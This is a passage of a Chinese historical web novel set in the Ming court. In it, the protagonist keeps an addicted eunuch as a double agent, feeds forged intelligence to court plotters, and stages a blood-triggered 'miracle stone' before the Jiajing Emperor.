苏惟瑾的大脑飞速处理着:杨廷和父子的复仇野心,张太后的**投机,邵元节的方术掩护,郭勋的武力支持,再加上黑巫师的神秘恐怖——这张网织得又大又密,几乎笼罩了朝野内外。
若非自己机缘巧合破了广州的案子,一路追查到京城,又用这“逍遥散”控制了魏彬,只怕等到冬至那日,嘉靖帝当众失态,这大明江山,真就要变天了!
“还有呢?”苏惟瑾的声音依旧平静,“杨廷和打算废了陛下之后,扶立谁?”
魏彬犹豫了一下。
苏惟瑾的手指,轻轻摩挲着那支琉璃管。
魏彬立刻像是被烫了一样,急声道:“是……是益王!”
陛下无子,按祖制,该从近支藩王中择贤而立。
益王朱厚烨是宪宗皇帝之孙,辈分合适,而且……而且张太后的娘家妹妹,嫁给了益王妃的舅舅,有这层关系在!
益王。
苏惟瑾记下了这个名字。
该问的,差不多都问了。
魏彬为了那一管“逍遥散”,把能说的、不能说的,全都倒了个干净。
老太监此刻瘫在柱子上,眼神涣散,只剩下对药物的渴望。
苏惟瑾站起身,走到魏彬面前。
魏彬立刻挣扎着抬起头,眼中满是乞求:“给……给咱家……咱家都说了……”
苏惟瑾蹲下身,与魏彬平视,缓缓道:“魏公公,今日这些话,出了这个地窖,你就当从未说过。”
你回宫之后,一切如常,该见邵元节见邵元节,该联络谁联络谁。
三日后冬至大典,邵元节若问起加料金丹的事……
“咱家就说……就说一切照旧!”魏彬抢着答道,“绝不让他起疑!”
“聪明。”苏惟瑾点点头,将手中的琉璃管递过去。
魏彬几乎是抢过去的,手抖得厉害,拔开软塞就要往嘴里倒。
苏惟瑾却按住了他的手:“
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公公,这药得用针推入血脉,口服效用太慢。”
他说着,又取出那根中空银针,娴熟地给魏彬注射了第二剂。
淡黄色液体缓缓推入。
魏彬闭上眼睛,脸上露出一种近乎陶醉的神情。
方才的焦躁、痛苦、恐惧,全都消失了,取而代之的是一种虚幻的安宁和愉悦。
他靠在柱子上,嘴角甚至勾起一丝笑意,像是回到了当年在司礼监批红盖章、权倾朝野的好时候。
苏惟瑾静静看着。
这就是**的可怕——它能让人在虚幻中获得一切,也能在现实里夺走一切。
“惟奇,给他解开锁链。”苏惟瑾吩咐道。
苏惟奇愣了愣:“公子,这老阉货要是出去乱说……”
“他不会。”苏惟瑾摇头,“他现在离了这药,生不如死。”
何况他刚才说的那些,随便漏出去一句,杨廷和、张太后、郭勋……哪一方都能让他死无葬身之地。
他现在只能靠我们。
铁链哗啦一声解开。
魏彬瘫软在地,好一会儿才缓过劲,自己挣扎着爬起来。
他整了整衣衫,又恢复了那副宫中大珰的姿态,只是眼神深处的那抹恐惧和依赖,藏不住了。
“魏公公,”苏惟瑾最后交代,“明日此时,福寿堂后门第三个砖缝,第二剂药会准时送到。”
往后每日一剂,直到事情了结。
公公是聪明人,该怎么做,想必不用晚辈再啰嗦。
魏彬深深看了苏惟瑾一眼,那眼神复杂得很,有恨,有怕,更多的是一种认命般的颓然。
他什么也没说,只是拱了拱手,转身顺着木梯,一步一步爬了上去。
胡三跟上去,从外面打开了地窖的隐蔽出口。
夜风灌进来,带着深秋的寒意。
魏彬的身影消失在夜色里,像一滴墨融进了浓稠的黑暗。
地窖里,油灯噼啪炸了个灯花。
苏惟瑾站在原地,大脑还在高速运转。
三日。
只有三日时间。
要破这个局,得同时做几件事:第一,阻止邵元节在冬至大典上进献加料的金丹;
第二,揭穿杨廷和父子的阴谋,拿到铁证;
第三,稳住京营,不能让郭勋有机会发动兵变;
第四,最关键的是——必须让嘉靖帝清醒过来,至少在大典上不能失态。
“公子,咱们现在……”苏惟奇低声问。
苏惟瑾抬眼,眼中已是一片清明:“惟奇,你立刻去找彭友信,让他动用所有江湖关系,盯死魏彬说的那三处据点,尤其是‘德盛行’绸缎庄和积水潭的宅子,一只苍蝇进出都要记下来。”
“胡三爷,你继续让你的‘小友’们盯着邵元节的丹房,从明日起,他炼的每一炉丹,想办法换掉一半!”
就用咱们的‘清心丹’替换,动作要轻,不能让他察觉。
“我自己……”苏惟瑾顿了顿,“得去会一会那位陆指挥使了。”
这场戏,没有锦衣卫搭台,唱不圆满。
三人分工明确,立刻行动起来。
地窖里重归寂静,只有那盏油灯,火苗跳动着,将墙上的影子拉得忽长忽短。
窗外,更深露重。
距离冬至大典,还有七十二个时辰。
魏彬吐露的惊天阴谋牵扯出杨廷和、张太后、益王等一干幕后黑手,三日后冬至大典便是图穷匕见之时!
苏惟瑾虽已掌握情报,但时间紧迫——他要如何在这短短三日内,同时应对宫中的丹药陷阱、朝中的政变阴谋、京营的潜在兵变?
而他将要“会一会”的陆炳,这位锦衣卫指挥使在如此复杂的局势中又会持何立场?
这场牵动大明国运的较量,胜负就在这七十二个时辰之间!
第349章 将计就计策,瑾控双面谍
地窖里的油灯,添了第三次油。
魏彬靠在柱子上喘气,额头上的汗珠子顺着脸颊往下淌,在下巴尖儿上凝成滴,吧嗒一声砸在青砖地上。
他眼睛直勾勾盯着苏惟瑾手里那支新拿出来的琉璃管,喉咙里发出“嗬嗬”的声响,像是渴极了的人看见甘泉。
第二剂。
苏惟瑾没急着给,只是用拇指轻轻摩挲着管壁,淡黄色的液体在油灯下晃出诱人的光晕。
他看着魏彬,语气平静得像在说今儿个天气不错:“魏公公,从今日起,你照常回宫,照常与邵元节、杨廷和他们联络。”
只是所有消息——他们给你什么,你要传什么,都得先经我过目。
魏彬的眼皮跳了跳,没吭声。
“你若配合,”苏惟瑾继续道,声音不大,却字字清晰,“每日可得一剂‘逍遥散’,保你无痛无苦,还能偶尔尝尝腾云驾雾的滋味。”
若敢背叛……
他顿了顿,将琉璃管举到眼前,对着灯光看了看:“断药之苦,想必公公昨夜已经尝过滋味了。”
那还只是开始,往后一日甚过一日,到最后,公公怕是会自己求着往墙上撞——只为求个痛快。
魏彬浑身猛地一颤。
他想起昨夜药瘾初发时那种感觉——先是骨头缝里发痒,像是千百只蚂蚁在爬;
接着心里头空落落的,烦躁得想撕碎眼前一切;
最后是头痛欲裂,涕泪横流,什么体面、什么尊严,全都不顾了,只想要那管黄水儿。
那是他活了大几十年从未尝过的苦楚。
“咱家……明白。”魏彬的声音嘶哑得厉害,他低下头,看着自己那双保养得极好的手——此刻却抖得不成样子,“苏大人要咱家怎么做,咱家……照办就是。”
苏惟瑾这才将琉璃管递过去,又取出银针,熟练地给魏彬注射了第二剂。
这次的剂量,他特意调少了三成——既能让魏彬保持依赖,又不至于让他太舒服。
针头拔出时,魏彬脸上又浮现出那种迷醉的神情。
他闭上眼睛,靠在柱子上,好一会儿才缓过来,睁开眼时,眼神复杂得很,恐惧、渴望、怨恨、认命……全混在一块儿。
“胡三爷。”苏惟瑾转头看向站在梯子旁的胡三。
胡三会意,从怀里摸出个小布包,打开来,里头是十几颗黄豆大小的褐色香丸。
他走到魏彬跟前,也不说话,伸手就去解魏彬的衣领。
“你……你做什么?”魏彬一惊,想要躲,可身子还软着。
“给公公添个香囊。”胡三咧嘴一笑,露出满口黄牙,“这可是好东西,里头加了沉香、龙涎、还有几味西域来的香草,戴在身上,提神醒脑,还能驱虫避秽。”
说话间,他已经麻利地将一颗香丸缝进了魏彬衣领内侧的夹层里。
针脚细密,用的是同色的丝线,不仔细看根本发现不了。
魏彬脸色变了变,他可不傻。
这哪是什么香囊?
分明是追踪用的标记!
只是人在屋檐下,他也不敢说什么,只能任由胡三摆布。
缝好了香丸,胡三又从布包里掏出个小竹筒,拔开塞子,里头爬出几只通体漆黑、翅膀带金纹的蜂子。
那蜂子围着魏彬转了两圈,像是记住了什么气味,又乖乖爬回竹筒里去了。
“这叫‘寻香蜂’。”胡三嘿嘿笑道,“俺家祖上传下来的手艺,驯了十几年才成。”
只要公公身上戴着这香丸,三十里内,这几只小东西都能找到公公——便是一只耗子洞,它们也能钻进去瞅瞅。
魏彬的脸白了白,最后一点小心思也灭了。
双重控制——药瘾是枷锁,这香丸是眼睛。
他这下是真成了笼中鸟,飞不出苏惟瑾的手掌心了。
卯时三刻,天刚蒙蒙亮。
魏彬从大杂院的后门出来时,已经换了一身干净的靛蓝常服,头发梳得一丝不苟,脸上也重新敷了粉,遮住了憔悴。
他回头看了一眼那扇破旧的木门,眼神复杂,最终咬了咬牙,转身钻进了一顶早已候着的小轿。
轿子晃晃悠悠,穿过还未完全醒来的南城胡同。
卖早点的摊子刚支起炉火,蒸笼里冒出白茫茫的蒸汽;
倒夜香的推着木车吱呀呀走过,留下一股子馊臭味;
更夫敲着最后一趟梆子,声音在空荡荡的巷子里回荡。
魏彬坐在轿子里,闭着眼,手指无意识地摩挲着衣领内侧那处微微鼓起的地方。
到了东华门,守门的禁军认得这是浣衣局的魏公公——虽说失了势,可毕竟在宫里几十年,面子还是有的。
查验了腰牌,轿子便径直进了宫,往浣衣局方向去了。
辰时正,邵元节派来的小道童到了浣衣局,说是真人请魏公公过去说话。
魏彬整了整衣冠,跟着小道童往钦安殿方向走。
一路上,他脑子里反复过着苏惟瑾交代的话,手心微微出汗。
钦安殿后头的丹房里,烟气缭绕。
邵元节正在看着两个徒弟扇火,炉子里的丹砂咕嘟咕嘟冒着泡,空气里弥漫着一股子硫磺和金属的混合气味。
见魏彬进来,他挥挥手让徒弟退下,压低声音问:“怎么样?”
外头有什么动静?
魏彬定了定神,按照苏惟瑾教的,一字一句道:“苏惟瑾那小子,至今没露过面。”
咱们的人在码头、城门守了这些天,连个影子都没见着。
怕是……已经葬身南疆了。
邵元节眉头一挑:“当真?”
“十有八九。”魏彬叹口气,“南边那地方,瘴疠横行,盗匪如毛。”
他一个文弱书生,身边又没带多少人,真要遇上事儿,怕是凶多吉少。
邵元节沉吟片刻,点了点头:“也是。”
那小子得罪的人太多,想他死的不止咱们。
接着说。
“还有一事。”魏彬凑近了些,声音压得更低,“陆炳陆指挥使,近日屡屡劝谏陛下停服金丹,说金丹耗损龙体,非长久之计。”
陛下虽未表态,可咱家瞧得出来,陛下心里头……已经有些不悦了。
邵元节眼睛一亮:“此话当真?”
“千真万确。”魏彬一脸笃定,“昨日陛下在乾清宫批折子,陆炳又去劝,陛下当场摔了茶盏。”
虽说没明着斥责,可这态度……真人该明白。
邵元节捋了捋山羊须,脸上露出笑意:“好,好啊。”
陆炳这厮,仗着是陛下潜邸旧人,平日里眼高于顶,连咱家的面子都不给。
如今惹恼了陛下,正是咱们动手的好时机!
他想了想,又嘱咐道:“你继续盯着,若有新的动静,随时来报。”
对了,杨阁老那边……
“咱家已经递了消息。”魏彬接口道,“阁老说,万事俱备,只等冬至大典。”
邵元节满意地点点头,从袖中摸出个小瓷瓶递给魏彬:“这是这个月的‘润笔’,拿去喝茶。”
魏彬接过瓷瓶,入手沉甸甸的,里头少说也有五十两雪花银。
他脸上堆起笑容:“谢真人赏。”
咱家一定尽心竭力。
从钦安殿出来,魏彬后背都湿透了。
他抹了把额头的汗,加快脚步往浣衣局走。
到了自己那间小小的值房,关上门,从怀里摸出纸笔,将刚才与邵元节的对话一字不落地记了下来。
写完了,又仔细看了一遍,确认无误,这才将纸条卷成细卷,塞进一支空心的竹毛笔管里。
这是苏惟瑾交代的——所有情报,必须有文字记录,方便核对。
同一时间,南城大杂院。
苏惟瑾站在天井里,手里拿着一张刚刚写好的“密报”。
纸是上等的澄心堂纸,墨是松烟墨,字迹模仿的是某位致仕老臣的笔法——这是他从翰林院旧档里研究了好些天才练出来的。
密报的内容,是他精心编织的谎言:
“臣伏闻,陛下近来服丹日频,精神恍惚时有之。”
前日召对,竟将首辅之名呼错,朝臣皆惊。
陆炳屡谏触怒,恐不日将撤换。
新任锦衣卫指挥使周大山,资历尚浅,军中多有不忿者。
此正千载良机,望公速决。
他仔细看了一遍,又在末尾添上一句:“冬至大典,陛下将亲诵祭文,届时若当众失仪,废立之事,顺理成章。”
写完了,他将密报折好,塞进一个普通的信封,信封上不写任何字。
然后叫来胡三:“让咱们的人,通过魏彬那条线,把这封信送到杨廷和在积水潭的宅子。”
记住,要“不经意”地让魏彬知道这信的内容——就说这是咱们在朝中的眼线传出来的。
胡三接过信,嘿嘿一笑:“公子这招高啊。”
魏彬那老阉货,肯定以为这信真是朝中哪位大人写的,回头跟邵元节、杨廷和他们对账时,就更不会起疑了。
苏惟瑾点点头,又嘱咐道:“盯紧魏彬,他今日见了什么人,说了什么话,去了哪里,全要记下。”
还有,邵元节丹房那边,替换金丹的事进行得如何了?
“已经换了三炉了。”胡三掰着手指头算,“俺让那些耗子从通风口钻进去,把咱们的‘清心丹’混在他炼好的金丹里。”
每炉换掉一小半,神不知鬼不觉。
邵老道昨儿还跟徒弟夸,说这炉丹火候正好,成色比往日的还好呢!
苏惟瑾嘴角勾起一丝笑意。
这就对了。
让邵元节自以为一切尽在掌控,让杨廷和以为时机成熟,让魏彬在两边传递假消息——他们越自信,摔得就越狠。
他抬起头,望向北边。
层层叠叠的屋宇尽头,是紫禁城巍峨的轮廓,在秋日的晨光里泛着金色的光。
“鱼饵已下,”苏惟瑾轻声自语,眼中闪过锐利的光,“就等大鱼咬钩了。”
天井里的老槐树,叶子已经黄了大半,一阵风吹过,簌簌落下几片。
深秋的寒意,正悄悄浸透这座京城。
而风暴的中心,已然在望。
魏彬成功传递假消息,邵元节与杨廷和皆未起疑,苏惟瑾的反间计初步奏效。
然而杨廷和毕竟老谋深算,他会不会对这份“密报”产生怀疑?
邵元节炼丹多年,难道真察觉不到丹药被调包?
魏彬在双重控制下能撑多久?
更关键的是——陆炳若真被嘉靖帝疏远,苏惟瑾手中的“清心丹”又该如何送到皇帝面前?
这场精心布置的局,看似环环相扣,实则步步惊心!
第350章 夜奔通州港,瑾归钦差位
亥时正,梆子声在南城胡同里响起,闷闷的,像是被夜色泡软了。
大杂院的后门吱呀一声开了条缝,三道黑影鱼贯而出。
打头的是个青衫书生,身形瘦削,脸上不知抹了什么,在月光下显得灰扑扑的,扔人堆里都找不着。
后头跟着俩汉子,一个精悍,一个矮壮,腰里都鼓鼓囊囊的,藏着家伙什。
正是苏惟瑾、苏惟奇和胡三。
三人出了胡同,沿着墙根阴影一路疾走。
南城这片夜里安静得瘆人,偶尔有野狗在垃圾堆里翻食,听见脚步声,抬起头龇牙低吼两声,又被胡三随手丢过去的肉干吸引了注意,摇着尾巴啃去了。
到了城墙根下,苏惟奇从怀里掏出根带铁钩的绳索,抡圆了往上一甩,钩子稳稳卡在垛口。
他试了试力道,回头低声道:“公子,我先上。”
说罢,他手脚并用,蹭蹭蹭几下就爬了上去,动作轻巧得跟狸猫似的。
片刻后,上头传来三声布谷鸟叫——这是事先约好的暗号,安全。
苏惟瑾深吸口气,抓住绳索,也跟着往上爬。
他这些年虽苦读诗书,可也没落下锻炼,身子骨比寻常书生结实得多。
等爬到垛口,苏惟奇伸手一拉,他便翻了上去。
胡三最后一个上来,收起绳索,三人沿着城墙马道快步下行,到了另一面的垛口,如法炮制,又顺着绳索滑了下去。
脚一沾地,就是城外了。
远处传来马匹的响鼻声——彭友信早就安排好了三匹快马,拴在护城河边的柳树下。
马是好马,毛色油亮,蹄子上包了厚布,跑起来声响小。
“走!”苏惟瑾翻身上马,一抖缰绳。
三匹马立刻撒开四蹄,沿着官道往东奔去。
夜风呼呼地刮在脸上,带着深秋的寒意,可苏惟瑾心里却一片火热。
通州离京城四十里,快马加鞭,一个多时辰就能到。
路上几乎没什么行人,只有夜行的商队偶尔举着火把经过,映得官道两旁的枯草忽明忽暗。
苏惟瑾伏在马背上,大脑却在飞速运转。
时间——现在是十三日亥时,距离冬至大典还有三天。
他必须在十四日白天光明正大地回京,才能名正言顺地参与朝政,介入这场风暴。
人手——鹤岑国师和周大山押解岑猛、卢苏等俘囚的船队,按行程应该今天傍晚抵达通州码头。
这是他早就计算好的,也是他敢在京城潜伏这么多天的底气。
计划——明天进城,必须演一场大戏,一场能让嘉靖帝暂时放下金丹、把注意力转向自己的大戏。
夜更深了,月亮隐进云层,只留下满天星子,冷冷地眨着眼。
通州码头,灯火通明。
这里是大运河的北端终点,江南的漕粮、货物,都要在这里卸船,再转运进京。
即便到了夜里,码头上依旧人声鼎沸,脚夫们扛着麻包喊着号子,商贩们举着灯笼讨价还价,妓船上的丝竹声混着酒客的吆喝,飘荡在浑浊的河水上空。
最显眼的,是停在码头正中的那几艘官船。
船上挂着钦差旌旗,船头立着持刀的兵士,火把照得甲板亮如白昼。
过往船只都自觉地绕开些,生怕冲撞了贵人。
中间那艘最大的官船上,鹤岑国师正坐在舱室里,手里捧着一卷《黄庭经》,却一个字也看不进去。
他对面坐着周大山,这汉子穿着锦衣卫千户的服色,可坐姿还是改不了行伍习惯,腰板挺得笔直,眉头拧成了疙瘩。
“国师,”周大山压低声音,“咱们明天一早就进城?”
要不要再等等公子?
鹤岑放下书卷,叹了口气:“苏大人至今没有消息,咱们不能一直等下去。”
陛下那边……情况不妙啊。
他这次回京,路上就听说了不少传闻——皇帝沉迷金丹,脾气越来越古怪,连陆炳都屡屡碰壁。
他心里着急,可没有苏惟瑾在,总觉着少了主心骨。
正说着,舱门外传来亲卫的声音:“国师,周千户,外头有位公子求见,说是故人。”
鹤岑和周大山对视一眼,都从对方眼里看到了疑惑。
这深更半夜的,哪来的故人?
“请进来。”鹤岑道。
舱门推开,一个青衫书生走了进来。
这人长得实在普通,扔进人堆里就找不着那种,可那双眼睛……
鹤岑猛地站起身,手里的《黄庭经》掉在地上都没察觉。
周大山更是瞪大了眼,嘴巴张了张,差点喊出声。
那书生微微一笑,抬手在脸上抹了几把,易容的药物被擦去,露出原本清俊的面容。
他又从怀里掏出个小瓷瓶,倒出些药水在手上,往头发上揉了揉,灰扑扑的发色渐渐变回乌黑。
“国师,大山,别来无恙。”苏惟瑾拱了拱手,声音温润。
“苏大人!”鹤岑激动得胡子都在抖,几步上前,握住苏惟瑾的手,“你……你可算回来了!”
这些日子,老道我……
他说不下去了,眼圈有点红。
周大山更是直接单膝跪地:“公子!您平安就好!”
这些天京里传得沸沸扬扬,有人说您在南边遇难了,俺……俺不信!
可心里头还是怕!
苏惟瑾扶起周大山,拍了拍他肩膀:“辛苦你们了。”
我这不是好好的?
三人重新落座,苏惟瑾简略说了广州之行的经过——当然,略去了黑巫师那些太过诡异的部分,只说是查到了走私罂粟膏的线索。
然后,他话锋一转,说起了京城危局。
“陛下近来性情大变,并非偶然。”苏惟瑾神色凝重,“是有人在金丹里下了毒。”
我查过了,主谋是杨廷和父子,还有张太后、邵元节、郭勋等人。
他们打算在冬至大典上动手,借陛下当众失态,行废立之事。
鹤岑听得脸色发白:“杨阁老……他……他可是三朝元老啊!”
“元老?”苏惟瑾冷笑,“正因是三朝元老,才不甘心就此退出朝堂。”
大礼议时他败给陛下,心中怨气难平,这次是要连本带利讨回来。
周大山拳头攥得咯吱响:“这群狗娘养的!”
公子,您说怎么办?
俺听您的!
苏惟瑾从怀中取出一卷纸,摊开在桌上。
那是一幅详细的“祥瑞计划”,字迹工整,图文并茂。
“明日进城,咱们得演一场大戏。”苏惟瑾指着图纸,“我在南疆时,偶然得了一块奇石,石上有天然花纹,遇血则显。”
我查过古籍,这石头在《山海经》里有记载,叫‘应龙石’,据说是上古应龙精血所化,能辟邪祟、镇国运。
鹤岑眼睛亮了——他是干这个的,一点就通。
“国师明日进城时,可当众献上此石,就说是在南疆平叛时,感天动地,此石自深山显现,乃上天赐予大明的祥瑞。”苏惟瑾继续道,“然后,在陛下面前,以三牲之血浇之,石上花纹自会变化——这是我用几种矿物颜料调配的,遇血会产生化学反应,颜色渐变,看起来就像活了一样。”
鹤岑抚掌笑道:“妙哉!”
陛下最信这些,见了定会龙颜大悦!
“不止。”苏惟瑾又从怀里掏出本薄薄的册子,封面是古朴的兽皮,里头是工整的楷书,“这是《无灵根修仙法》,我根据一些道家典籍,结合养生之术编的。”
里头讲的是‘内炼金丹,外修功德’,强调清心寡欲、勤政爱民才是长生正道,与邵元节那套‘外丹服食’完全相反。
他把册子递给鹤岑:“这书,就说是藏在‘应龙石’中的上古遗册,因感应到陛下圣德,才现世人间。”
国师献石时,一并献上。
鹤岑翻了几页,越看越心惊。
这书编得太像那么回事了,引经据典,文辞古奥,连他都差点信了是上古真传。
“苏大人,”他抬起头,眼中满是敬佩,“您这手……真是绝了!”
苏惟瑾笑笑,又看向周大山:“大山,你明日进城后,立刻去锦衣卫衙门找陆炳。”
告诉他,我已经回京,有要事相商。
然后……
他压低声音,交代了一番。
周大山听得连连点头,眼中闪着兴奋的光:“公子放心,这事儿包在俺身上!”
三人又细细商议了半个时辰,直到东方泛起鱼肚白。
苏惟瑾换上了一身崭新的绯色官袍——这是按钦差规制特制的,绣着云雁补子,腰系金带,头戴乌纱。
他站在铜镜前,看着镜中那个面容清俊、眼神锐利的年轻人,深吸了口气。
该回去了。
卯时三刻,通州码头沸腾了。
钦差船队重新起锚,旌旗招展,鼓乐齐鸣。
最前头那艘官船上,苏惟瑾一身绯袍,负手立在船头,晨风吹动他的衣袂,猎猎作响。
两岸早已挤满了看热闹的百姓。
消息传得快,都说平定广西叛乱、查办广州走私案的苏状元苏大人回京了!
这可是大英雄!
“看!那就是苏状元!”
“听说他在广西,一个人舌战土司,说得他们心服口服!”
“何止!”
广州那些贪官,都是他查出来的!
“瞧瞧这气度,真真是文曲星下凡!”
议论声、赞叹声,混着码头的喧嚣,汇成一股洪流。
船队缓缓驶入运河,往京城方向去。
沿途经过的村庄、集镇,都有百姓扶老携幼出来围观,指指点点,眼神里满是崇敬。
苏惟瑾站在船头,面色平静,心里却波澜起伏。
他想起几年前,自己还是张家一个不起眼的小书童,为了活命苦苦挣扎。
后来中了状元,外放做官,每一步都如履薄冰。
如今,他回来了,带着平叛的功劳,也带着颠覆朝局的秘密。
前方,京城的轮廓渐渐清晰。
朝阳从东方升起,给巍峨的城墙镀上一层金色。
船队到了东便门码头,这里早已有礼部的官员等候。
按照规制,钦差回京,需由礼部官员迎接,然后进宫面圣。
苏惟瑾下了船,踏上京城的土地。
他抬头,看着那扇巨大的城门,嘴角勾起一丝不易察觉的弧度。
邵元节,杨廷和,张太后,郭勋……
我回来了。
游戏,该换个玩法了。
苏惟瑾“王者归来”,场面恢弘,舆论造势成功。
然而进宫面圣在即,他将如何应对已被丹药控制的嘉靖帝?
邵元节等人得知他回京,必定会加紧行动,冬至大典近在眼前,这场暗战即将摆上台面!
更关键的是——陆炳那边会是什么态度?
周大山能否顺利传话?
这场关乎大明国运的较量,正式进入倒计时!
第351章 午门献祥瑞,神石惊君臣。
冬至前一天的紫禁城,天还没亮透,午门外的广场上已经黑压压站满了人。
文官在东,武官在西,按着品级一排排站着,鸦雀无声。
深秋的晨风刮过来,吹得那些锦鸡、孔雀、云雁、白鹇的补子哗啦啦地抖,也吹得人脸皮发紧。
好些个老臣缩着脖子,手揣在袖子里,心里头嘀咕:这大冷天的,非得赶着冬至前一天搞什么献俘献瑞,真是折腾人。
可没人敢说出口。
因为龙辇已经到了。
嘉靖皇帝坐在辇上,身上裹着厚厚的貂裘,可脸色却不太好。
眼窝子发青,面皮泛着种不健康的灰黄,像是熬夜熬狠了,又像是大病初愈。
他强打着精神,腰板挺得笔直,可眼神时不时会飘一下,焦距有点散。
邵元节就侍立在龙辇旁侧,一身杏黄道袍,手持拂尘,仙风道骨的架势摆得十足。
他微微侧过头,余光扫过皇帝的面色,嘴角不着痕迹地勾了勾。
成了。
这几个月加大剂量的罂粟膏,效果越来越明显。
陛下如今离了金丹,连一个时辰都撑不住,昨日还因为陆炳劝谏停丹的事发了好大一通火——这正是他想要的结果。
“吉时到——!”
礼部尚书费宏拖着长音高唱,声音在空旷的广场上回荡。
“献俘——献瑞——!”
鼓乐齐鸣。
先是沉重而有节奏的战鼓声,接着是尖锐的号角,最后是丝竹笙箫混在一起,营造出一种既肃杀又祥和的诡异氛围。
东侧宫门打开,周大山一身飞鱼服,腰挎绣春刀,领着两队锦衣卫甲士,押着两个人走了出来。
正是岑猛和卢苏。
这两人在广州被擒后,一路押解进京,早就没了当初土司头人的威风。
身上穿着囚服,手脚都戴着沉重的镣铐,走一步哗啦响一声。
头发蓬乱如草,脸上胡子拉碴,眼神呆滞,像是认命了。
走到丹陛之下,有军士在两人腿弯处一踢,两人噗通跪倒在地。
百官中响起一阵低低的议论声。
“这就是那个岑猛?看着也不像三头六臂嘛。”
“听说在广西拥兵数万,朝廷几次征剿都无功而返,没想到栽在苏状元手里。”
“卢苏更是个滑头,在广州经营十几年,根深蒂固……”
嘉靖皇帝微微抬了抬眼皮,看着阶下那两个败军之将,脸上没什么表情。
这些边鄙蛮夷,在他眼里跟蝼蚁差不多,今日拿来祭旗,正好应景。
周大山单膝跪地,朗声禀报:“启奏陛下!臣奉旨押解广西叛逆岑猛、广州通倭首犯卢苏,于此献俘!请陛下圣裁!”
嘉靖摆了摆手,声音有些沙哑:“准。”
这就是走个过场。
按规矩,献俘之后,要么当场处决,要么关进诏狱候审。
今日既然要“血祭祥瑞”,那这两人自然是活不成了。
邵元节心里正盘算着等会儿如何借机再吹嘘一番金丹的神效,却见西侧宫门也打开了。
鹤岑国师走了出来。
老道士今日换了一身崭新的绛紫色法衣,头戴七星冠,手持玉如意,步履沉稳,气度不凡。
他身后跟着八个年轻道士,抬着一个用红绸覆盖的巨物——那东西足有半人高,丈许长,需要八个人才抬得动。
广场上顿时安静下来,所有人都盯着那红绸覆盖的东西。
什么东西这么大?
鹤岑走到丹陛下,躬身行礼:“臣鹤岑,奉旨南行,查办广州走私、协理广西平叛事宜。幸得天神指引,于思恩府深山神洞之中,得此‘先天祭祀神石’,乃上古仙人所留,特献于陛下,以佑我大明国祚永昌!”
这话说得玄乎,百官都竖起了耳朵。
嘉靖皇帝也来了兴趣,身子微微前倾:“哦?先天祭祀神石?国师且揭开,让朕瞧瞧。”
“遵旨。”
鹤岑转身,示意那八个道士将巨物放下。
他伸手抓住红绸一角,深吸一口气,猛地一扯——
红绸滑落。
露出底下那物事的真容。
那是一块青灰色的巨物,表面粗糙不平,像是天然形成的岩石,又带着某种人工雕琢的痕迹。
形状不规则,边缘嶙峋,在晨光下泛着冷硬的色泽。
最奇特的是,石头表面布满了细密的裂纹,像是干涸的河床,又像是某种神秘的符文。
百官窃窃私语。
“这……这就是祥瑞?”
“看着就是块大石头嘛。”
“国师莫不是被人诓了?”
邵元节心中冷笑。
什么先天祭祀神石,不过是故弄玄虚。
他炼丹多年,什么奇石怪玉没见过?
这块石头,除了大了点,没什么稀奇。
可就在这时,鹤岑又开口了,声音清朗,传遍全场:“陛下,此石非凡物,需以叛逆之血为祭,方显神异!”
嘉靖眼睛一亮:“准!”
早有准备的刽子手走上前来,是两个膀大腰圆的汉子,光着上身,露出结实的肌肉。
一人按住岑猛,一人按住卢苏。
刀光闪过。
快得让人看不清。
两颗人头落地,腔子里的热血喷涌而出,不偏不倚,正好溅在那青灰色巨石的表面!
接下来的一幕,让所有人都瞪大了眼睛。
只见那些暗红色的血液溅在石头上,不仅没有顺着表面流下,反而像是被吸进去了一样,迅速渗透、蔓延。
紧接着,石头上那些原本细密的裂纹,突然开始发光!
暗红色的光。
那些光沿着裂纹流动、延伸、交织,渐渐形成了一幅复杂无比的图案——似符篆又似星图,似山川又似云纹。
更神奇的是,那图案并非静止,而是在缓缓变化、流动,在阳光下闪烁着诡异而瑰丽的光泽!
“这……这是……”
“神迹!真是神迹啊!”
“石头显灵了!显灵了!”
百官哗然,不少人直接跪了下去,朝着那石头磕头。
就连那些见多识广的老臣,也惊得目瞪口呆,捋着胡子的手停在半空。
嘉靖皇帝直接从龙辇上站了起来,眼睛瞪得老大,呼吸都急促了:“快!快扶朕过去看看!”
两个太监连忙搀扶着他走下龙辇,来到那巨石前。
离得近了,看得更清楚。
那些暗红色的纹路还在缓缓流淌,像是活的一样,偶尔还会迸出几点金色的星芒,转瞬即逝。
邵元节的脸色终于变了。
他炼丹多年,也玩过不少“仙丹显灵”的把戏,比如让丹药在水中融化时冒出彩色烟雾,或者用特殊药材让服丹者短暂产生幻觉。
可眼前这一幕,完全超出了他的理解范围!
石头怎么会流血纹?还会动?
鹤岑适时上前,伸出右手,轻轻按在那些流动的纹路上。
他闭上眼睛,嘴唇微动,像是在掐算什么。
片刻后,他猛地睁开眼,脸上露出震惊之色,转头对嘉靖道:“陛下!此石内藏乾坤,似有仙家宝典封存其中!”
嘉靖激动得声音都在抖:“当真?如何取出?”
“需以外力破开表层,然不可伤及内里。”鹤岑退后一步,“请陛下命巧手工匠,小心凿之。”
早有准备的工匠立刻上前。
这些人都是工部最好的石匠,工具精良,手法娴熟。
他们先仔细研究了石头表面的纹路走向,然后选了几个看似薄弱之处,用特制的小凿子轻轻敲击。
“叮……叮……”
清脆的敲击声在寂静的广场上格外清晰。
所有人都屏住呼吸,眼睛一眨不眨地盯着。
约莫一盏茶的工夫,只听“咔嚓”一声轻响,石头表层的某一块突然松动了。
工匠们小心翼翼地将那块石皮撬开——底下居然是个中空的夹层!
而夹层之中,赫然躺着一本用油纸密封的书册!
鹤岑亲自上前,取出书册,撕开油纸。
里头的纸张已经泛黄,显然是年代久远之物。
封面上用古朴的篆书写着五个大字:
《无灵根修仙法》。
“天赐仙书!天佑大明啊!”鹤岑高举书册,声音激动得发颤。
嘉靖一把抢过书册,迫不及待地翻开。
只见里头图文并茂,字迹工整,用的是前朝流行的楷体,可遣词用句又古奥异常,确实像上古遗篇。
他匆匆翻了几页,越看越激动。
书中详细记载了一套完整的修行法门:以特制烟气通脉,以静坐凝神养气,辅以特定的呼吸节奏和肢体动作。
还有各种“修仙法器”的制作图样,什么“凝神香炉”、“养气蒲团”、“通脉烟杆”,画得细致入微。
最关键的是,书中开篇就明言:“修仙之道,首重修心。心正则气顺,气顺则神凝。若一味求诸外丹,服食金石,反损根本,非长生正途也。”
这话,简直像是专门说给嘉靖听的!
